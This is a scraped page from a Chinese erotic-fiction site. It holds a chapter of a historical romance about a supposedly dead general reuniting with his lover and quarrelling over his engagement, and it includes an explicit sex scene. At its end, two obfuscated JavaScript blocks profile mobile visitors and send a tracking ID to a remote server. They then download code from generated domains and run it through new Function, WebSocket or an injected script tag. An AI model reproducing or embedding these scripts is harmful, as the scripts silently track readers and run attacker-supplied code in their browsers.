张韶君见状眼露笑意,抬起一手阻止百优开口,“如果你再有意见,那我就收回前言,你就给我认命吃下三日醉,去跟花娘们一展你的男儿雄风!”

不管如何,他相信,日后的生活肯定非常有乐趣。

要百优这个家伙不闯祸?

那真是天大的个笑话。他相信不用多久,他身边就会少个百优属下,而多个俏丽的小优女婢了。

他见百优虽然张了口,但硬是不敢吭声的吃瘪蠢样,再也忍不住的朗朗大笑了起来。

他自己没有发觉,他的笑及他的神情在万琪重回他身边后转变有多大。

从前,就算千良及百优想尽了办法试图让他发笑,他也从来没有笑得如此轻松肆意过,就像手中握有全世界般意气风发……

※※※

天光未亮,万琪再次从男人密实的怀抱中清醒。

少了三日醉的影响,她睁开眼,就完全醒了过来。

在桌上挑弱的灯火照明下,室内的一切都是昏昏暗暗的,不甚清明。

她的手下是温暖的身躯,有节奏的怦怦心跳不断传入她的耳中。她从温暖的硬物上支起身子,看着闭眼沉睡着的男人。

“不是梦吗?”她的手抚上那俊美的睡颜。

她从他闭起的眼帘、高挺的鼻子、抚到他完美的脸颊、有型的下颚及让她心悸的性感薄唇。“还是我还在梦里,并没有清醒?”

就在她喃喃自语的时候,她游走在他唇上的小手突然被厚实温暖的手掌包住了。她看着她朝思暮想、只能在记忆中回忆的深黑眼眸慢慢张开,看着他性感的薄唇开启蠕动——“再问你一次,看到我活生生的在你面前,你是高兴还是害怕?”他深深的看进她的眼底,专注着她每一分细微的反应。

妩媚微扬的杏眼中,迷乱、不信、迷惑交相错杂,直到她终于接受眼前身前的温热躯体真的是她所爱之人,她每一个反应及情绪波动都含着不容他错认的喜悦及爱意。当水光在她眼中聚集,凝成泪珠滑下她眼眶的那一刻,他用手接住了那比深海珍珠还要美丽、还要珍贵的泪珠。

“看来,你是高兴……别哭,你哭得我心疼……”

纵然对她有再多的怨怼,她的眼泪都能将他心底的忿恨化去。

他万般温柔的搂着她纤细的腰身翻转,将她轻压在身下,爱怜的将她不断滑下的泪水吻去。“不哭,不哭……”

她环住他的肩颈,用力的将他抱住,哭得小脸全皱在一起。“你没死!呜……你没死……”泪水根本不受控制,无尽的从她眼里涌出。

她的哭泣及哽咽都让他心疼得快要死去。

“琪儿,别哭了……”虽然她将脸埋在他颈间,让他无法看见她的脸,但从沾染在他项上的濡湿,他也能知道万琪哭得有多厉害。

“让我看看你……应之,这到底是不是真的,还是我根本没睡醒?”她松开环住他的手臂,拉开了点距离,用小手捧着他的脸,深情的看着他。

丰沛的泪花让她无法看清他,于是她用力的眨了眨眼,试图让视线能清晰的映入他的样子。“如果是梦,我希望永远不要醒来……”

他用手拭泪,却无法阻止新的泪水滑落。“这不是梦,我回来了。我没有死……琪儿,我求你,你不要再掉眼泪了,我看了好心疼呀……”

“呜……是真的?你回来了?”

他用唇舌舔吮着微咸的水泽,品味着苦涩的甜美。“是的,我回来了。琪儿,等你把泪收起来后,我就告诉你我到底发生了什么事。但是如果你再掉一滴泪,我就不说了。”

如此没有威胁力量的威胁竟然成功的制止了她无止尽的哭泣。

她抽抽噎噎的拼命吞下哽咽,眨着大眼将泪水眨回去。“好,我不哭……呜,这很难好不好,你这是强人所难……”

她的撒娇及耍赖把他逗笑了。“分开了三年,你的性子一点都没变,是个小赖皮鬼。再给你一点时间,快把泪水擦干。”

张着湿润美丽的眼睛,她娇声娇气的道:“你帮我擦,这是为你流的!”

“既然如此不舍,那你为何不等我……就嫁给许天毅了?”他没有替她拭泪,搂着她的手臂在这句话问出口的同时狠狠的收紧。

“你不能误会我,更不能误会天毅哥,是你死得突然……”人好好的、活生生的在眼前,她还口口声声死呀死的,好像有点不太对劲。

不过为了怕他误会她与许天毅,所以万琪连气都不敢喘,“天毅哥如果不娶我,那我跟孩子的下场会如何,我连想都不敢想!咱们的女儿——喔!疼……你干嘛?!”她被他失了控制的力量弄疼了。

他骤然起身,连带的将她拉起,两手握着她的肩,脸对脸的问她,“女儿?你给我讲清楚!”

她原谅他的激动,毕竟莫名其妙当了爹,没几个人能平心静心的接受吧!

她眼角还挂着泪,朝他扬起灿烂的甜笑,“女儿,一个可爱的女儿,我为你生了个女儿,她叫作采芝。”

“天,我有女儿了?!”他将额头抵在她的额头上,然后偷了个香吻。

不需要多费脑力,他就能推想出当时所发生的事情。

一个未嫁的闺女怀有身孕,又收到爱人战死沙场一去不回的讯息,她要多坚强才能面对这一切?

“琪儿,我的天呀!上天保佑……”

琪儿没有背叛他,许天毅更是够朋友的替他担下一切,为他将妻女照顾妥善。他本来预备的报复棋局还没开始下,就成了盘死局。

现在,他有一种大祸即将临头的预感——他要如何告诉万琪,他已与恩人之女订下了婚约的事实?

现在形势大为逆转,背弃之人的罪名掉到他头上了。

“你……不喜欢女儿吗?”万琪见他神色间突然有些不太对劲,推开了他,仰着身子板起脸来。“对我来说女儿是无价之宝,如果你嫌弃她,我也不在乎,反正她已经有爹疼了,不差你这个……你这个……只提供了一点点……种子的人。”

她想偏了。张韶君被她气唿唿的可爱表情及她最后一句红着脸说出来的话给逗笑了。

他把她搂回怀里,让她密实的与他紧紧相贴。“我是那种重男轻女的人吗?你忘了,我以前最常说的就是要你为我多生几个娇滴滴的女儿?”

在怀里挣扎的小女人安静了下来,用小手回抱住他,他才将下巴放到她头顶上,用柔情万千的嗓音低声道:“女儿比起儿子来得贴心可爱,我喜欢都来不及了,怎会嫌弃?

“再说,我付出的可不是一点种子,我在你身上费尽了气力努力灌溉,下了无数的种子才得到的宝贵女儿,我当然疼都来不及——喔!”

他调戏的话中止了下,因为他的腰上多了两只拧着他肉的小手。

“不要脸!三年不见,你也是一点都没变,好色到了极点,说起丢人的话一点都不会脸红!”她收手转身扯着被子窝回床上,用背对着他。

他看到了她别过去的脸上满是迷人红晕,轻笑着跟着侧躺在她身后,“有什么好脸红的?既然能做,为何不能说?这不是太矫情了吗?”

撩开她颈间的细发,他吻着雪白滑腻的颈肤,”前几天,你在我身下的主动,可比我说的这三言两语火辣多了。当你扭动着小屁股套弄我的时候,还有被我弄得娇声浪叫时……真是美丽极了,把我迷得连我自己是谁都快忘了。”

她羞得连耳朵及他吻着的颈项都成了一片嫣红。

“天还没亮,既然我们都醒了,那就来补回这三年来的欢爱,看是你要骑我还是我骑你,我都乐于配合。”他满含挑逗的情话越说越露骨,故意用低级的字句来挑弄她。她不吭声,但也没拒绝他。

于是他扯开她卷在身上的被子,抚上因为听到他所说的话而挺立在雪白乳肉上的乳蕾,用两指拧着它轻捻重压,勾引出她忍不住的嘤咛。

“嗯……”就像有人在她身体里点了一把火似的,她全身无处不发烫,燥热得让她难受。

“喜欢吗?很舒服对不对?回答我,琪儿,让我知道你因为我而快乐。”他在她颈间留下朵朵红痕,除了爱抚她乳房的大手外,另一只火热的大掌顺着她纤软的腰及平坦的小腹,然后移到臀后,从她臀下缓缓探入她的腿心间。

她配合他的探索,将一只白嫩的腿向身前弓起,让他的大掌从她臀后抚上早已为他湿润的嫩肉间。“舒服……应之,爱我……”

他的粗指抚过包覆着狭长穴缝的花瓣,调皮的轻弹了下那水嫩敏感,然后在她的轻吟间滑进软绵的穴口。

长指稍微探入,就被她散发着高温而且丝滑软绵的穴肉紧紧吸附住,她下体自然的紧缩,及甬道敏感的蠕动,就像有着吸力似的将他的长指向内引诱。

“我真不敢相信你为我生过孩子。你是这么的小、这么的紧……”

她浑圆的雪股开始前后挪动,抵着他的手磨蹭。“嗯……我需要更……更多……应之,用力呀……”

“还好天毅没有真的要你,否则我真的会杀了他!”他的长指挺动,在她滑腻的穴中抽送,在她发出性感的要求时,更加入了一根手指安抚着她。

泽泽的水声从他长指捣弄处淫秽的发出,那黏腻的声响显示出她有多么的兴奋。“应之,我求你,快点呀……”

“琪儿,你真美……”

他健美的身躯再次伏上她的娇美,与她共谱出原始而美妙的热情舞曲——

※※※

久别重逢的喜悦,还有两情缱绻的甜蜜,让万琪根本忘了她莫名失踪后许家可能会有的慌乱,就这么与张韶君甜甜蜜蜜的日夜厮守。

不过久别重逢的喜悦,并没有让张韶君忘了心里对万琪的隐瞒。

他虽然详述了当年在北方出事的经过与被人所救的过往,不过最重要的,也就是他与救他性命的恩人之女订下婚约的事,他始终没能说出口。

自从在恩人官伯父的安排下顶替了张韶君的人生后,他就接下了原本属于张韶君的生意,当起了毛货商人。

纵然在不知实情之前,他对万琪及许天毅恨之入骨无法谅解,但他还是难耐思念她的念头,借口南方气候较为适合官子燕调养病体,而在南都买下了一栋华美的宅第,带着官子燕搬居到气候较为恰人的南方。

官伯父不但没反对,还帮着他处理留在北方的生意,只是常常来南都探望女儿而已,完全支持他的所做所为,这更让他感动万分,所以他更下定决心,不论他对官子燕有无感情,一定会好好的对待她。

回到南都来,他是重回故里,只可惜景物依旧人事已非,心爱的女人已嫁做好友之妇……但是能与她唿吸相同的空气,走在她曾走过的街道上,这一点与她的联系,还是能稍慰他对万琪的相思之苦。

亏得百优这个贴心的属下,终是看不下他因思念万琪几乎夜夜无法安枕,大胆的将万琪掳了回来,再促成他们的好事,他才能知道他对许天毅及万琪的忿恨全是一场误会。

浓思别院虽是属于他的私人院落,但毕竟与官子燕是在同一个屋檐之下,官子燕虽然从不曾踏足这个院落,可还是难以安心,纸终究是包不住火的。

他并不是怕官子燕发现他在别院里藏着过去的爱人,因为他从没隐瞒过官子燕他早己心有所属,所以这不是他所烦心的重点。

重点是在万琪身上。要是让万琪在不明究里的情形下发现了官子燕与他的关系,只怕后果会让他难以收拾呀!

就在张韶君下定了决心,决定将他所隐瞒的事向万琪坦白后,浓思别院里的恩爱甜蜜光景就提前结束了……午后,浓思别院静默的气氛突然被一声狂吼给打破了。“你说什么?!”万琪瞠大了眼,看着眼前一脸愧色的张韶君,出口的声调不但全无娇意,反而还变了调。“你给我再说一次,说大声点!”

她拍开向她伸来的大掌,身子更是快速的向后退开。

“琪儿,你听我解释,我答应娶子燕是因为她爹对我有救命之恩……”

“救命之恩?”她怒极反笑,“她爹对你有救命之恩,所以你索性对他女儿以身相许?你怎么不干脆嫁给她爹算了?你说,你是什么时候答应娶她的?”

他不敢回答,只能用祈求的眼神看着她。

气喘吁吁的万琪,唇边泛起了冷笑,冷哼了声,“既然你不敢回答,那肯定是在你根本不知道我嫁给天毅哥前就答应了,对不对?”

虽然不是绝顶聪明,但她不痴不傻不笨,难道不会知道他的背叛在她之前吗?如果他是在得知她另嫁后才答应官子燕,那么她没得埋怨,毕竟他误以为她变心在前。

可就算如此,她万琪也情有可原!她是为了他的孩子才寻求许天毅的婚姻庇护。可是他呢?

他有什么理由不顾与她的感情,娶另一个女人?

就为了人家救了他的性命?如果非要如此才能报恩,那他为什么还要回来,还要出现在她面前,还要撩拨她的感情?

她情愿永远不知道他还活着,他死了总比他另娶来得好!

她宁愿怀抱着他的爱老死,也不愿是如今这番局面!

“你要说我狠毒也好,说我无情也罢,我告诉你,我宁愿你真的死了,也好过你现在如此伤我的心!”万琪发起狠来,毫不留情。

“当初官伯父会救我,是因为我的神色中有几分张韶君的影子。而我当时需要一个新的身份,所以官伯父让我顶替已死的张韶君之名,将属于张韶君的人生交给了我……而他生前即与子燕有婚约,所以官伯父要求我连婚约一同接下,让子燕能有个依靠……”

他说到一半,万琪就抓住了他其中一句话,“那我要找谁依靠?我为你伤心欲绝、我为你哭断肝肠、我为你活得像个行尸走肉!”她说着说着,再也忍不住的大哭了起来,“把我为你流的泪、伤的心全还给我!还是我根本就该把天毅哥当成你,依赖他、爱他,让他来当我的依靠?

“我为你承受生产的折磨,你呢?你在北方风流快活!你有什么脸站在我面前?你有什么资格责问我跟天毅哥的婚姻?”想起不久前他嫉妒的嘴脸,她现在只觉讽刺。瞧她哭得上气不接下气,还要骂他,整个人摇摇欲坠,就快要软下地去了,这副模样如何不让他心疼?

他跨步向前,不顾她的推拒及挥舞的双手,硬是将她紧紧抱住。“琪儿,你冷静下来,听完我的解释再生气也不迟,你这样发脾气身子受不住……”

她突地止住了泼猫似的挣扎,“我要回家,我想釆芝。”

她冷漠的语气及冷淡的态度比起她发脾气狂声大吼还让他心惊害怕,他颤着手不肯放开她,“你别这样……”

他的话凝在喉间,只因她说的狠话——“你再说一句话或是试图留我下来,那我就连女儿都不要了,我死给你看!”她没傻到为一个男人不要性命,更不可能舍得下视若珍宝的女儿,她会这么说,就是赌他不敢冒险。

不管什么原由,他都不能如此伤她。

也许以后她会原谅他,但在此时此刻,她正在气头上,原谅他?听他解释?哼!只有三个字——不可能!

——————————————————————————–

【第四章】

许天毅在大街小巷里乱跑,还到官衙去烦官爷,打探有没有万琪的消息后,才在夕阳西下、天色昏暗不明中,拖着疲惫的身躯返回家门。

现在他才刚进大厅,屁股才刚沾椅,无力举起的手还没能来得及接过妙秋递送过来的茶水,也还没能开口安慰妙秋的担心,就被从门外像被鬼追一般跑进来大唿小叫的小厮升福,给弄得一肚子火。

连日来四处奔波寻找莫名消失的万琪,他已经几天不能安枕、吃顿安心饭了,回到家还得安抚妙秋,他已经心力交瘁忙得像只苟延残喘的老狗,却还要忍受升福的吵闹喳唿?

有没有搞错呀!他才是许家主子吧?!

升福一跃进门,就朝在厅裹的少爷及姨夫人妙秋道:“回来了,回来了!夫人回来了!咳咳咳,夫人回来了……”

升福要说话还要喘息,更因为话讲得太急,还被自己的口水呛到了,不过他脸上的喜悦倒是清晰可见,只因这些日子以来,他及全府的小厮除了要做好本分的工作之外,还得排班四处搜寻大夫人,他们也是很累的。

烦躁的许天毅根本没仔细听升福一脸兴奋及口沫横飞的话语,张嘴就是斥责,“我管谁回来了?你主子我都快要累死了,你就不能学会——”

妙秋急扯住他衣袖的小手及他脑袋瓜子迟缓的运作,让他终于理解过来升福话中的意思。他转头与妙秋相视一眼,在她的脸上看见了欣喜及放心,才蓦然爆出一句,“小琪回来了?”旋即拉着妙秋拔腿朝门外奔去。

一路上踉跄跌撞的,在相互扶持之下,他们终于跑到了大门口。

跑得上气不接下气的许天毅急急的停在门口,因为跑得太急,所以眼前发黑,喘不过气的他来不及看一眼正从马车下来的人,弯着身,努力的试图缓过气来。

当他平复了心脏的狂跳,拨神回头关心身旁妙秋的状况时,看见了她正张大了嘴,吃惊得说不出话。

“妙秋,你怎么了?”他十分纳闷。

妙秋的回答就是颤抖着手指向门口。

很自然的,许天毅的视线顺着她的手臂、皓腕、抖个不停的指尖,看向她所指的方向。

映入他眼中的景象,让他倒抽了口气,接着手指也如同妙秋一样指着大门的方向抖个不停“应……应……”

失踪了近半个月的万琪不是引起他反常的凶手。

许天毅也根本没有留意到万琪满脸寒冰的冷漠神色,全部的心神都放在紧跟在万琪身后,但又不敢伸手碰触她的高大身影上。

因为天色昏暗而点上的灯笼在风中轻轻摇晃,阴明不定的灯影照映在跟在万琪脚后进来的张韶君身上脸上,让许天毅一句话都讲不出来。

他是不是因为太累,所以眼花了?他居然看到……他就这么应……应了老半天,直到万琪及张韶君走到他面前,还在应个不停。

万琪冷冷的看了许天毅一眼,然后从嘴里丢出几颗冰珠子,“我回来了。采芝呢?我去看她!”

她伸手拉过还愣看着在她身后张韶君的妙秋,见她一脸愣然,更是觉得气闷,于是啐了妙秋一句,“看什么看?有什么好看的,就当作见了鬼就是了,有什么好稀奇的?走,陪我去看采芝去。”

万琪不管有没有人回应她,自顾自的硬将人从许天毅身边带走。

直到看不见万琪窈窕的身影,张韶君才叹了口气,这才有空理会还在原地的许天毅。

“天毅,你再不闭上嘴,苍蝇就要飞进去了。”

接着,他再次见到古人传下的至理名言又被一个大男人给打翻。

是谁说男儿有泪不轻弹,只是未到伤心时的?

许天毅绝对是个堂堂七尺男儿,但谁敢说他眼眶中掉出来的不是泪水?

而他相信,在许天毅眼里及脸上的,绝对不会是伤心……

※※※

女人家窝在孩子的房间里,男人家则坐在暖厅里。

“那年你在北方到底发生什么事了?你既然还活着,为什么没有马上回京告诉大家这个消息?而且也没有回宫续职,让偌大的家产全数充公?这些年你到底都混到哪儿去了?”一连串的疑问从许天毅嘴里发出。

坐在许天毅身旁的郭应之——也就是张韶君——用手抚着高挺的鼻梁,无奈至极的笑了笑,打断许天毅似乎没有止境的问题。

“天毅,你别忙,我会把所有的事全部交代清楚的。等咱们叙完旧,我还有点问题想要请你帮忙。”

“对对对,不忙不忙,咱们慢慢说。”人没死,还怕没话可说吗?

许天毅坐正了身子,扬手拍打了好友的肩膀一下,“还有,咱们是交命的好友,说什么帮不帮忙的,这不是太见外了吗?你的事就是我的事,交代一声,我舍命都为你办好!”

如果他知道这个忙是与万琪有关的话,他绝不会如此爽快的答应下来。

“那年我领受兵符带军北上,表面上是去平定北方扰民蛮族,但实际上,我是受到皇上密令去探查……”他说了个开头,却突然停下来喝了口茶,同时用眼神示意站在门边的千良及百优仔细在门外看守,不许任何人接近。

不了解他为什么住口的许天毅着急的问,“去探查什么?拜托你别喘息,一口气讲出来好吗?说到一半,这不是让人难受吗?”

“你听过龙珠宝藏的传说吗?”

“打小就听过。传说得到龙珠的人就是神龙后人,将能号令天下异人及群雄,不但能长生不老,更能权倾天下……可那不是骗小孩的故事吗?跟皇令有何关系?”大略将神话叙述了一遍的许天毅翘着二郎腿,还一抖一抖的。

“皇宫内的玄神学士跟皇上认为是真的,给了我确切的地点。我的任务就是去替皇上取回龙珠。而且……在这世上确实有龙珠,我亲眼目睹,亲手拿过!”

许天毅听完,再次张大了嘴,久久不能合起。

张韶君当做没看到他的蠢像,也没有理会许天毅的吃惊,继续说下去。

“我并没有误中北蛮埋伏,那是为了我的死而编造出来的完美理由。由我领去北方的军队,约有一半无辜受我牵连含怨走向黄泉之路,可是,我这个连累大家的人却还苟活于世。”他语气平淡,脸色平静,却难以掩饰眼底的愧色及自责。

许天毅叹了口气,“别太过自责,始作俑者是心狠手辣、迷信昏庸的皇上,不是你这个同样被设计杀害的将军。一切都是命,你能够逃出厄运存活下来,对我们来说是万幸呀。”

张韶君为自己过往的誓死效忠感到不值,“当我取得龙珠后,我被早已混入军中的死士以毒箭暗杀——咱们英明神武的皇上需要我去替他身犯险境,却又在心底忌惮着……”他自嘲的笑了笑,“我与九王爷的交情,让皇上生怕我取得龙珠后会将它拿给九王爷,协助他谋夺皇位。可他太高估我、也错看了我,我不是个汲汲营营于权利财富的人,更不是会起兵造反的料!

身受重伤的我被一个商人所救,之后我足足休养了半年之久,才渐渐回复行动能力……你说,就算有命,我还能回宫续职吗?”张韶君问了许天毅一句


上一篇:凌辱叶倩仪

下一篇:亲身目睹堂嫂与村长偷情


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};